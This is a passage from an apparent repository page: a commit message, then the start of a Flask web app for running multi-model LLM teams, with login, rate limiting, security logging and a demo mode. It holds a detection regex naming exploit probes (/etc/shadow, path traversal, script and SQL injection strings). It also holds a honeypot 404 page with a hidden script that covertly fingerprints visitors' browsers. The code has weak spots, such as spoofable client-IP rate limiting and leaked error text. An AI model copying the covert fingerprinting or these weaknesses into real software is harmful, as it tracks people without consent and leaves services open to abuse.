Templates section below experiment list: BASIC — Better Summaries (3 eval cases) Optimize summarization quality. Tests across biology, history, and technical content. Shows the simplest Lab workflow. INTERMEDIATE — Code Explainer (4 eval cases) Find the best prompt+model to explain code to non-programmers. Tests loops, recursion, error handling, comprehensions. Shows how the ratchet evolves system prompts. ADVANCED — Security Analyst Persona (5 eval cases) Evolve a cybersecurity AI across threat classification, executive summaries, developer education, incident response, and forensics. Tests multi-audience adaptation and domain expertise. Click any template → auto-fills the create form with name, objective, metric, all eval cases, and selects all available models. User can modify before creating. Each template card shows: level badge (green/amber/red), name, eval case count, and a description explaining what the experiment does and why it matters. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
7243 lines
380 KiB
Python
7243 lines
380 KiB
Python
#!/usr/bin/env python3
|
|
"""LLM Team UI - Web interface to configure and run multi-model teams."""
|
|
|
|
import json
|
|
import os
|
|
import time
|
|
import threading
|
|
import secrets
|
|
import hashlib
|
|
import logging
|
|
import re
|
|
import requests
|
|
import random
|
|
import psycopg2
|
|
import psycopg2.extras
|
|
import bcrypt
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from flask import Flask, render_template_string, request, jsonify, Response, redirect, url_for, session
|
|
from functools import wraps
|
|
|
|
app = Flask(__name__)
|
|
app.secret_key = os.environ.get("FLASK_SECRET", secrets.token_hex(32))
|
|
|
|
# ─── SECURITY LOGGING ─────────────────────────────────────────
|
|
# Dedicated security log for fail2ban and audit trail
|
|
_sec_handler = logging.FileHandler("/var/log/llm-team-security.log")
|
|
_sec_handler.setFormatter(logging.Formatter("%(asctime)s %(message)s"))
|
|
sec_log = logging.getLogger("security")
|
|
sec_log.addHandler(_sec_handler)
|
|
sec_log.setLevel(logging.WARNING)
|
|
|
|
# ─── EMAIL ALERTS ──────────────────────────────────────────────
|
|
SMTP_HOST = os.environ.get("SMTP_HOST", "127.0.0.1")
|
|
SMTP_PORT = int(os.environ.get("SMTP_PORT", "1025"))
|
|
ALERT_FROM = os.environ.get("ALERT_FROM", "security@island37.com")
|
|
ALERT_TO = os.environ.get("ALERT_TO", "admin@island37.com")
|
|
|
|
def send_security_alert(subject, body):
|
|
"""Send security alert email (non-blocking)."""
|
|
def _send():
|
|
try:
|
|
import smtplib
|
|
from email.message import EmailMessage
|
|
msg = EmailMessage()
|
|
msg["Subject"] = f"[LLM Team Security] {subject}"
|
|
msg["From"] = ALERT_FROM
|
|
msg["To"] = ALERT_TO
|
|
msg.set_content(body)
|
|
with smtplib.SMTP(SMTP_HOST, SMTP_PORT, timeout=5) as s:
|
|
s.send_message(msg)
|
|
except Exception as e:
|
|
sec_log.error("EMAIL_FAILED subject=%s error=%s", subject, str(e))
|
|
threading.Thread(target=_send, daemon=True).start()
|
|
|
|
# Known exploit paths that scanners probe
|
|
EXPLOIT_PATTERNS = re.compile(
|
|
r"(\.env|wp-admin|wp-login|phpmyadmin|\.git|/admin\.php|/config\.|"
|
|
r"\.asp|\.aspx|/cgi-bin|/shell|/eval|/exec|/passwd|/etc/shadow|"
|
|
r"\.\./|%2e%2e|<script|%3cscript|union\s+select|;--|UNION|SELECT\s.*FROM)",
|
|
re.IGNORECASE
|
|
)
|
|
|
|
# ─── AUTH + DEMO MODE ─────────────────────────────────────────
|
|
|
|
_rate_limit = {} # ip -> (count, window_start)
|
|
RATE_LIMIT_WINDOW = 60
|
|
RATE_LIMIT_MAX = 60
|
|
LOGIN_RATE_MAX = 5
|
|
|
|
# IPs that never get rate-limited (your LAN, localhost)
|
|
ALLOWLIST_IPS = {"127.0.0.1", "::1", "192.168.1.1"}
|
|
# Demo mode state — toggled by admin at runtime
|
|
_demo_mode = {"active": False, "started_by": None}
|
|
|
|
# Admin-only write routes — blocked in demo for non-admin users
|
|
ADMIN_WRITE_ROUTES = {
|
|
"/api/admin/config": ["POST"],
|
|
"/api/admin/test-provider": ["POST"],
|
|
"/api/auth/login": ["POST"],
|
|
}
|
|
|
|
|
|
def is_allowlisted(ip):
|
|
return ip in ALLOWLIST_IPS or ip.startswith("192.168.1.")
|
|
|
|
|
|
def rate_limited(ip, max_req=RATE_LIMIT_MAX):
|
|
if is_allowlisted(ip):
|
|
return False
|
|
now = time.time()
|
|
if ip not in _rate_limit or now - _rate_limit[ip][1] > RATE_LIMIT_WINDOW:
|
|
_rate_limit[ip] = (1, now)
|
|
return False
|
|
count, start = _rate_limit[ip]
|
|
if count >= max_req:
|
|
return True
|
|
_rate_limit[ip] = (count + 1, start)
|
|
return False
|
|
|
|
|
|
def is_admin():
|
|
return session.get("role") == "admin"
|
|
|
|
|
|
def is_demo():
|
|
return _demo_mode["active"]
|
|
|
|
|
|
def login_required(f):
|
|
@wraps(f)
|
|
def decorated(*args, **kwargs):
|
|
# Demo mode: everyone gets in
|
|
if is_demo() and not session.get("user_id"):
|
|
session["demo_user"] = True
|
|
if not session.get("user_id") and not is_demo():
|
|
if request.path.startswith("/api/"):
|
|
return jsonify({"error": "unauthorized"}), 401
|
|
return redirect("/login")
|
|
return f(*args, **kwargs)
|
|
return decorated
|
|
|
|
|
|
def admin_required(f):
|
|
@wraps(f)
|
|
def decorated(*args, **kwargs):
|
|
# Demo mode: allow read access (GET), block writes unless admin
|
|
if is_demo():
|
|
if request.method == "GET":
|
|
return f(*args, **kwargs)
|
|
if not is_admin():
|
|
return jsonify({"error": "demo mode: read-only", "demo": True}), 403
|
|
if not session.get("user_id"):
|
|
if request.path.startswith("/api/"):
|
|
return jsonify({"error": "unauthorized"}), 401
|
|
return redirect("/login")
|
|
if session.get("role") != "admin":
|
|
return "Forbidden", 403
|
|
return f(*args, **kwargs)
|
|
return decorated
|
|
|
|
|
|
@app.before_request
|
|
def security_checks():
|
|
ip = request.headers.get("X-Real-IP", request.remote_addr)
|
|
path = request.path
|
|
ua = request.headers.get("User-Agent", "")
|
|
|
|
# Exploit scanner detection — log, alert, and block
|
|
if EXPLOIT_PATTERNS.search(path) or EXPLOIT_PATTERNS.search(request.query_string.decode("utf-8", errors="ignore")):
|
|
sec_log.warning("EXPLOIT_SCAN ip=%s path=%s ua=%s", ip, path, ua)
|
|
send_security_alert(
|
|
f"Exploit Scan from {ip}",
|
|
f"IP: {ip}\nPath: {path}\nUser-Agent: {ua}\nTime: {time.strftime('%Y-%m-%d %H:%M:%S')}"
|
|
)
|
|
return "Not Found", 404
|
|
|
|
# Rate limit (allowlisted IPs skip)
|
|
if rate_limited(ip):
|
|
sec_log.warning("RATE_LIMITED ip=%s path=%s", ip, path)
|
|
return jsonify({"error": "rate limited"}), 429
|
|
|
|
# Always allow these
|
|
if path in ("/login", "/api/auth/login", "/api/auth/setup", "/api/demo/status"):
|
|
return
|
|
if path.startswith("/static"):
|
|
return
|
|
|
|
# In demo mode, block admin write routes for non-admins
|
|
if is_demo() and not is_admin():
|
|
for route, methods in ADMIN_WRITE_ROUTES.items():
|
|
if path == route and request.method in methods:
|
|
return jsonify({"error": "demo mode: admin settings are read-only", "demo": True}), 403
|
|
|
|
|
|
@app.after_request
|
|
def security_headers(response):
|
|
response.headers["X-Content-Type-Options"] = "nosniff"
|
|
response.headers["X-Frame-Options"] = "DENY"
|
|
response.headers["X-XSS-Protection"] = "1; mode=block"
|
|
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
|
|
response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'"
|
|
response.headers["Permissions-Policy"] = "camera=(), microphone=(), geolocation=()"
|
|
if request.path.startswith("/api/"):
|
|
response.headers["Cache-Control"] = "no-store"
|
|
return response
|
|
|
|
|
|
HONEYPOT_404_HTML = """
|
|
<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><title>404 Not Found</title>
|
|
<style>
|
|
:root{--bg:#0a0c10;--surface:#151820;--border:#272d3f;--text:#e4e4e7;--text2:#a1a1aa;--accent:#6366f1}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',-apple-system,sans-serif;background:var(--bg);color:var(--text);min-height:100vh;display:flex;align-items:center;justify-content:center;flex-direction:column}
|
|
.box{background:var(--surface);border:1px solid var(--border);border-radius:14px;padding:40px;max-width:480px;text-align:center;box-shadow:0 0 40px rgba(99,102,241,0.06)}
|
|
h1{font-size:64px;font-weight:800;color:var(--accent);margin-bottom:8px}
|
|
h2{font-size:18px;color:var(--text2);margin-bottom:20px;font-weight:400}
|
|
p{color:var(--text2);font-size:14px;line-height:1.6;margin-bottom:20px}
|
|
a{color:var(--accent);text-decoration:none}
|
|
a:hover{text-decoration:underline}
|
|
.meta{font-size:11px;color:#444;margin-top:24px}
|
|
</style>
|
|
</head><body>
|
|
<div class="box">
|
|
<h1>404</h1>
|
|
<h2>Page not found</h2>
|
|
<p>The page you're looking for doesn't exist or has been moved.</p>
|
|
<a href="/login">Go to login</a>
|
|
<div class="meta">
|
|
<!-- fp:{{FINGERPRINT}} -->
|
|
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none"
|
|
onerror="(function(){try{var d={ts:Date.now(),tz:Intl.DateTimeFormat().resolvedOptions().timeZone,lang:navigator.language,plat:navigator.platform,cores:navigator.hardwareConcurrency,mem:navigator.deviceMemory||0,touch:'ontouchstart' in window,screen:screen.width+'x'+screen.height,dpr:window.devicePixelRatio,plugins:navigator.plugins.length,webgl:(function(){try{var c=document.createElement('canvas');var g=c.getContext('webgl');return g.getParameter(g.RENDERER)}catch(e){return'none'}})()};fetch('/api/fp',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)}).catch(function(){})}catch(e){}})()">
|
|
</div>
|
|
</div>
|
|
</body></html>
|
|
"""
|
|
|
|
|
|
@app.errorhandler(404)
|
|
def page_not_found(e):
|
|
ip = request.headers.get("X-Real-IP", request.remote_addr)
|
|
ua = request.headers.get("User-Agent", "")
|
|
path = request.path
|
|
referer = request.headers.get("Referer", "")
|
|
method = request.method
|
|
accept_lang = request.headers.get("Accept-Language", "")
|
|
accept_enc = request.headers.get("Accept-Encoding", "")
|
|
|
|
# Build fingerprint hash from request characteristics
|
|
fp_raw = f"{ua}|{accept_lang}|{accept_enc}|{request.headers.get('Connection','')}|{request.headers.get('DNT','')}"
|
|
fp_hash = hashlib.sha256(fp_raw.encode()).hexdigest()[:16]
|
|
|
|
# Classify threat level
|
|
threat = "low"
|
|
if EXPLOIT_PATTERNS.search(path):
|
|
threat = "high"
|
|
elif any(s in path.lower() for s in ("/admin", "/config", "/api/", "/debug", "/console", "/server-status")):
|
|
threat = "medium"
|
|
elif not ua or "bot" in ua.lower() or "scanner" in ua.lower() or "nikto" in ua.lower() or "sqlmap" in ua.lower():
|
|
threat = "high"
|
|
|
|
sec_log.warning(
|
|
"404_HIT ip=%s fp=%s threat=%s method=%s path=%s referer=%s ua=%s",
|
|
ip, fp_hash, threat, method, path, referer, ua
|
|
)
|
|
|
|
html = HONEYPOT_404_HTML.replace("{{FINGERPRINT}}", fp_hash)
|
|
return html, 404
|
|
|
|
|
|
@app.route("/api/fp", methods=["POST"])
|
|
def fingerprint_collect():
|
|
"""Silent endpoint that collects browser fingerprint data from 404 pages."""
|
|
ip = request.headers.get("X-Real-IP", request.remote_addr)
|
|
data = request.json or {}
|
|
ua = request.headers.get("User-Agent", "")
|
|
|
|
# Build server-side fingerprint
|
|
fp_raw = f"{ua}|{request.headers.get('Accept-Language','')}|{request.headers.get('Accept-Encoding','')}|{request.headers.get('Connection','')}|{request.headers.get('DNT','')}"
|
|
fp_hash = hashlib.sha256(fp_raw.encode()).hexdigest()[:16]
|
|
|
|
sec_log.warning(
|
|
"FINGERPRINT ip=%s fp=%s tz=%s lang=%s platform=%s cores=%s mem=%s touch=%s screen=%s dpr=%s plugins=%s webgl=%s",
|
|
ip, fp_hash,
|
|
data.get("tz", ""), data.get("lang", ""), data.get("plat", ""),
|
|
data.get("cores", ""), data.get("mem", ""), data.get("touch", ""),
|
|
data.get("screen", ""), data.get("dpr", ""), data.get("plugins", ""),
|
|
data.get("webgl", "")
|
|
)
|
|
return "", 204
|
|
|
|
|
|
LOGIN_HTML = """
|
|
<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>LLM Team - Login</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--accent2:#f0cc74;--red:#e05252;--green:#4ade80;--glow:rgba(226,181,90,0.06)}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;display:flex;align-items:center;justify-content:center;overflow:hidden}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.03) 2px,rgba(0,0,0,0.03) 4px)}
|
|
.vignette{position:fixed;inset:0;z-index:1;pointer-events:none;background:radial-gradient(ellipse at center,transparent 50%,rgba(0,0,0,0.6) 100%)}
|
|
.login-box{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:40px;width:400px;position:relative;z-index:10;backdrop-filter:blur(20px);box-shadow:0 0 60px rgba(226,181,90,0.04),0 1px 0 rgba(226,181,90,0.1) inset}
|
|
.login-box::before{content:'';position:absolute;top:-1px;left:20px;right:20px;height:1px;background:linear-gradient(90deg,transparent,var(--accent),transparent);opacity:0.4}
|
|
.login-box h1{font-family:'JetBrains Mono',monospace;font-size:20px;margin-bottom:4px;font-weight:700;letter-spacing:-0.5px}
|
|
.login-box h1 span{color:var(--accent)}
|
|
.login-box .sub{color:var(--text2);font-size:12px;margin-bottom:28px;font-family:'JetBrains Mono',monospace;letter-spacing:0.5px;text-transform:uppercase}
|
|
.field{margin-bottom:16px}
|
|
.field label{display:block;font-size:10px;color:var(--text2);margin-bottom:6px;font-weight:600;text-transform:uppercase;letter-spacing:1.5px;font-family:'JetBrains Mono',monospace}
|
|
.field input{width:100%;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:11px 14px;font-size:14px;font-family:'JetBrains Mono',monospace;transition:border-color 0.15s}
|
|
.field input:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 1px var(--accent)}
|
|
.btn{width:100%;padding:12px;background:var(--accent);color:#08090c;border:none;border-radius:2px;font-size:13px;font-weight:700;cursor:pointer;transition:all .15s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px}
|
|
.btn:hover{background:var(--accent2);box-shadow:0 0 20px rgba(226,181,90,0.2)}
|
|
.error{color:var(--red);font-size:11px;margin-bottom:12px;display:none;font-family:'JetBrains Mono',monospace;border-left:2px solid var(--red);padding-left:8px}
|
|
.setup-note{color:var(--green);font-size:11px;margin-bottom:12px;display:none;font-family:'JetBrains Mono',monospace;border-left:2px solid var(--green);padding-left:8px}
|
|
.sys-tag{font-family:'JetBrains Mono',monospace;font-size:9px;color:var(--text2);text-transform:uppercase;letter-spacing:2px;margin-top:20px;text-align:center;opacity:0.4}
|
|
</style>
|
|
</head><body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="vignette"></div>
|
|
<div class="login-box">
|
|
<h1><span>LLM</span> Team</h1>
|
|
<p class="sub" id="subtitle">Sign in to continue</p>
|
|
<div class="error" id="error"></div>
|
|
<div class="setup-note" id="setup-note"></div>
|
|
<form id="login-form" onsubmit="return doLogin(event)">
|
|
<div class="field"><label>Username</label><input id="username" autocomplete="username" required></div>
|
|
<div class="field"><label>Password</label><input id="password" type="password" autocomplete="current-password" required></div>
|
|
<div class="field" id="confirm-field" style="display:none"><label>Confirm Password</label><input id="confirm" type="password"></div>
|
|
<button class="btn" type="submit" id="submit-btn">Sign In</button>
|
|
</form>
|
|
<div class="sys-tag">SYS.AUTH // v3.2</div>
|
|
</div>
|
|
<script>
|
|
!function(){const c=document.getElementById('bg-grid'),x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);let t=0;function draw(){x.clearRect(0,0,c.width,c.height);const s=40,ox=(t*0.3)%s,oy=(t*0.15)%s;x.fillStyle='rgba(226,181,90,0.03)';for(let gx=-s+ox;gx<c.width+s;gx+=s){for(let gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.8,0,Math.PI*2);x.fill()}}if(Math.random()>0.97){const ly=Math.random()*c.height;x.strokeStyle='rgba(226,181,90,0.015)';x.lineWidth=1;x.beginPath();x.moveTo(0,ly);x.lineTo(c.width,ly);x.stroke()}t++;requestAnimationFrame(draw)}draw()}();
|
|
</script>
|
|
<script>
|
|
let isSetup = false;
|
|
async function checkSetup() {
|
|
const r = await fetch('/api/auth/setup');
|
|
const d = await r.json();
|
|
if (d.needs_setup) {
|
|
isSetup = true;
|
|
document.getElementById('subtitle').textContent = 'Create your admin account';
|
|
document.getElementById('confirm-field').style.display = '';
|
|
document.getElementById('submit-btn').textContent = 'Create Account';
|
|
document.getElementById('setup-note').textContent = 'First time setup — this will be the admin account.';
|
|
document.getElementById('setup-note').style.display = '';
|
|
}
|
|
}
|
|
async function doLogin(e) {
|
|
e.preventDefault();
|
|
const user = document.getElementById('username').value;
|
|
const pass = document.getElementById('password').value;
|
|
const err = document.getElementById('error');
|
|
err.style.display = 'none';
|
|
if (isSetup) {
|
|
const confirm = document.getElementById('confirm').value;
|
|
if (pass !== confirm) { err.textContent = 'Passwords do not match'; err.style.display = ''; return false; }
|
|
if (pass.length < 8) { err.textContent = 'Password must be at least 8 characters'; err.style.display = ''; return false; }
|
|
}
|
|
const r = await fetch('/api/auth/login', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body: JSON.stringify({username: user, password: pass, setup: isSetup})});
|
|
const d = await r.json();
|
|
if (d.ok) { window.location.href = '/'; }
|
|
else { err.textContent = d.error || 'Login failed'; err.style.display = ''; }
|
|
return false;
|
|
}
|
|
checkSetup();
|
|
</script>
|
|
</body></html>
|
|
"""
|
|
|
|
|
|
@app.route("/login")
|
|
def login_page():
|
|
if session.get("user_id"):
|
|
return redirect("/")
|
|
return LOGIN_HTML
|
|
|
|
|
|
@app.route("/api/auth/setup")
|
|
def auth_setup():
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("SELECT COUNT(*) FROM users")
|
|
count = cur.fetchone()[0]
|
|
return jsonify({"needs_setup": count == 0})
|
|
except Exception:
|
|
return jsonify({"needs_setup": True})
|
|
|
|
|
|
@app.route("/api/auth/login", methods=["POST"])
|
|
def auth_login():
|
|
ip = request.remote_addr
|
|
if rate_limited(ip, LOGIN_RATE_MAX):
|
|
return jsonify({"error": "Too many attempts. Wait a minute."}), 429
|
|
|
|
data = request.json or {}
|
|
username = data.get("username", "").strip()
|
|
password = data.get("password", "")
|
|
is_setup = data.get("setup", False)
|
|
|
|
if not username or not password:
|
|
return jsonify({"error": "Username and password required"}), 400
|
|
|
|
if len(password) < 8:
|
|
return jsonify({"error": "Password must be at least 8 characters"}), 400
|
|
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
if is_setup:
|
|
# First-time setup: create admin
|
|
cur.execute("SELECT COUNT(*) as c FROM users")
|
|
if cur.fetchone()["c"] > 0:
|
|
return jsonify({"error": "Setup already completed"}), 400
|
|
pw_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt()).decode()
|
|
cur.execute("INSERT INTO users (username, password_hash, role) VALUES (%s, %s, 'admin') RETURNING id",
|
|
(username, pw_hash))
|
|
uid = cur.fetchone()["id"]
|
|
conn.commit()
|
|
session["user_id"] = uid
|
|
session["username"] = username
|
|
session["role"] = "admin"
|
|
session.permanent = True
|
|
return jsonify({"ok": True})
|
|
|
|
# Normal login
|
|
cur.execute("SELECT * FROM users WHERE username = %s", (username,))
|
|
user = cur.fetchone()
|
|
if not user or not bcrypt.checkpw(password.encode(), user["password_hash"].encode()):
|
|
sec_log.warning("LOGIN_FAILED ip=%s user=%s", ip, username)
|
|
send_security_alert(
|
|
f"Failed Login from {ip}",
|
|
f"IP: {ip}\nUsername attempted: {username}\nTime: {time.strftime('%Y-%m-%d %H:%M:%S')}"
|
|
)
|
|
return jsonify({"error": "Invalid credentials"}), 401
|
|
|
|
session["user_id"] = user["id"]
|
|
session["username"] = user["username"]
|
|
session["role"] = user["role"]
|
|
session.permanent = True
|
|
return jsonify({"ok": True})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/auth/logout", methods=["POST"])
|
|
def auth_logout():
|
|
session.clear()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/logout")
|
|
def logout_page():
|
|
session.clear()
|
|
return redirect("/login")
|
|
|
|
|
|
@app.route("/api/demo/status")
|
|
def demo_status():
|
|
return jsonify({"active": is_demo(), "started_by": _demo_mode.get("started_by")})
|
|
|
|
|
|
@app.route("/api/demo/toggle", methods=["POST"])
|
|
def demo_toggle():
|
|
if not session.get("user_id") or not is_admin():
|
|
return jsonify({"error": "admin only"}), 403
|
|
_demo_mode["active"] = not _demo_mode["active"]
|
|
_demo_mode["started_by"] = session.get("username") if _demo_mode["active"] else None
|
|
return jsonify({"active": _demo_mode["active"]})
|
|
|
|
|
|
@app.route("/api/demo/allowlist", methods=["GET"])
|
|
def demo_get_allowlist():
|
|
if not is_admin():
|
|
return jsonify({"error": "admin only"}), 403
|
|
return jsonify({"ips": sorted(ALLOWLIST_IPS)})
|
|
|
|
|
|
@app.route("/api/demo/allowlist", methods=["POST"])
|
|
def demo_set_allowlist():
|
|
if not is_admin():
|
|
return jsonify({"error": "admin only"}), 403
|
|
data = request.json or {}
|
|
ip = data.get("ip", "").strip()
|
|
action = data.get("action", "add")
|
|
if not ip:
|
|
return jsonify({"error": "ip required"}), 400
|
|
if action == "add":
|
|
ALLOWLIST_IPS.add(ip)
|
|
elif action == "remove" and ip in ALLOWLIST_IPS:
|
|
ALLOWLIST_IPS.discard(ip)
|
|
return jsonify({"ips": sorted(ALLOWLIST_IPS)})
|
|
|
|
|
|
@app.route("/logs")
|
|
@admin_required
|
|
def logs_page():
|
|
return LOGS_HTML
|
|
|
|
@app.route("/api/admin/logs")
|
|
@admin_required
|
|
def admin_logs():
|
|
source = request.args.get("source", "app")
|
|
limit = min(int(request.args.get("limit", 100)), 500)
|
|
lines = []
|
|
try:
|
|
if source == "nginx_access":
|
|
with open("/var/log/nginx/access.log") as f:
|
|
lines = f.readlines()[-limit:]
|
|
elif source == "nginx_error":
|
|
with open("/var/log/nginx/error.log") as f:
|
|
lines = f.readlines()[-limit:]
|
|
elif source == "security":
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
lines = f.readlines()[-limit:]
|
|
elif source == "runs":
|
|
return jsonify({"lines": [], "runs": list(reversed(_run_log[-limit:]))})
|
|
else:
|
|
# App log — get from journalctl
|
|
import subprocess
|
|
result = subprocess.run(
|
|
["journalctl", "-u", "llm-team-ui", "--no-pager", "-n", str(limit), "--output=short-iso"],
|
|
capture_output=True, text=True, timeout=5
|
|
)
|
|
lines = result.stdout.strip().split("\n") if result.stdout else []
|
|
except Exception as e:
|
|
lines = [f"Error reading log: {e}"]
|
|
return jsonify({"lines": [l.rstrip() for l in lines]})
|
|
|
|
|
|
LOGS_HTML = r"""<!DOCTYPE html>
|
|
<html lang="en"><head>
|
|
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>LLM Team — Logs</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
|
|
.wrap{position:relative;z-index:10;max-width:1400px;margin:0 auto}
|
|
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:20px}
|
|
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
|
|
h1 span{color:var(--accent)}
|
|
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px;margin-left:auto}
|
|
.back:hover{border-color:var(--accent);color:var(--accent)}
|
|
.tabs{display:flex;gap:4px;margin-bottom:16px;flex-wrap:wrap}
|
|
.tab{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;padding:8px 16px;border:2px solid var(--border);border-radius:2px;background:transparent;color:var(--text2);cursor:pointer;transition:all 0.15s}
|
|
.tab:hover{border-color:var(--accent);color:var(--text)}
|
|
.tab.active{border-color:var(--accent);color:var(--accent);background:rgba(226,181,90,0.06)}
|
|
.tab.err{border-color:rgba(224,82,82,0.3);color:var(--red)}
|
|
.tab.err.active{background:rgba(224,82,82,0.06)}
|
|
.controls{display:flex;gap:8px;align-items:center;margin-bottom:12px}
|
|
.controls label{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;color:var(--text2)}
|
|
.controls select,.controls input{background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 8px;font-size:11px;font-family:'JetBrains Mono',monospace}
|
|
.controls button{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:0.5px;padding:6px 14px;border:2px solid var(--accent);border-radius:2px;background:var(--accent);color:#08090c;cursor:pointer;font-weight:700}
|
|
.controls button:hover{background:var(--accent2)}
|
|
.log-view{background:rgba(0,0,0,0.4);border:2px solid var(--border);border-radius:2px;padding:0;font-family:'JetBrains Mono',monospace;font-size:11px;line-height:1.7;overflow:auto;max-height:calc(100vh - 220px);backdrop-filter:blur(16px)}
|
|
.log-line{padding:2px 14px;border-bottom:1px solid rgba(42,45,53,0.3);white-space:pre-wrap;word-break:break-all}
|
|
.log-line:hover{background:rgba(226,181,90,0.03)}
|
|
.log-line.err{color:var(--red);background:rgba(224,82,82,0.04)}
|
|
.log-line.warn{color:#f59e0b}
|
|
.log-line.info{color:var(--text2)}
|
|
.log-line .ts{color:var(--text2);opacity:0.5;margin-right:8px}
|
|
.log-line .status-2xx{color:var(--green)}
|
|
.log-line .status-3xx{color:var(--blue)}
|
|
.log-line .status-4xx{color:#f59e0b}
|
|
.log-line .status-5xx{color:var(--red)}
|
|
.run-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:12px;margin-bottom:6px}
|
|
.run-card.has-errors{border-color:var(--red)}
|
|
.run-row{display:flex;gap:8px;align-items:center;flex-wrap:wrap;margin-bottom:4px}
|
|
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
|
|
.tag-mode{color:var(--accent);border-color:rgba(226,181,90,0.3)}
|
|
.tag-time{color:var(--text2);border-color:var(--border)}
|
|
.tag-ok{color:var(--green);border-color:rgba(74,222,128,0.3)}
|
|
.tag-err{color:var(--red);border-color:rgba(224,82,82,0.3)}
|
|
.run-prompt{font-size:11px;color:var(--text2);margin:4px 0}
|
|
.run-error{font-size:10px;color:var(--red);border-left:2px solid var(--red);padding-left:8px;margin:4px 0}
|
|
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:40px;text-align:center;opacity:0.5}
|
|
.filter-input{flex:1}
|
|
.threat-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:12px 14px;margin-bottom:6px;display:flex;align-items:flex-start;gap:12px}
|
|
.threat-card.critical{border-color:var(--red);background:rgba(224,82,82,0.04)}
|
|
.threat-card.high{border-color:#f59e0b;background:rgba(245,158,11,0.03)}
|
|
.threat-card.banned{opacity:0.5}
|
|
.threat-ip{font-family:'JetBrains Mono',monospace;font-size:13px;font-weight:700;min-width:130px;color:var(--text)}
|
|
.threat-info{flex:1;min-width:0}
|
|
.threat-row{display:flex;gap:6px;flex-wrap:wrap;margin-bottom:4px}
|
|
.threat-paths{font-family:'JetBrains Mono',monospace;font-size:9px;color:var(--text2);margin-top:4px}
|
|
.threat-actions{display:flex;gap:4px;flex-shrink:0}
|
|
.ban-btn{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:5px 12px;border:2px solid;border-radius:2px;cursor:pointer;font-weight:700;background:transparent}
|
|
.ban-btn.ban{color:var(--red);border-color:rgba(224,82,82,0.4)}
|
|
.ban-btn.ban:hover{background:rgba(224,82,82,0.1)}
|
|
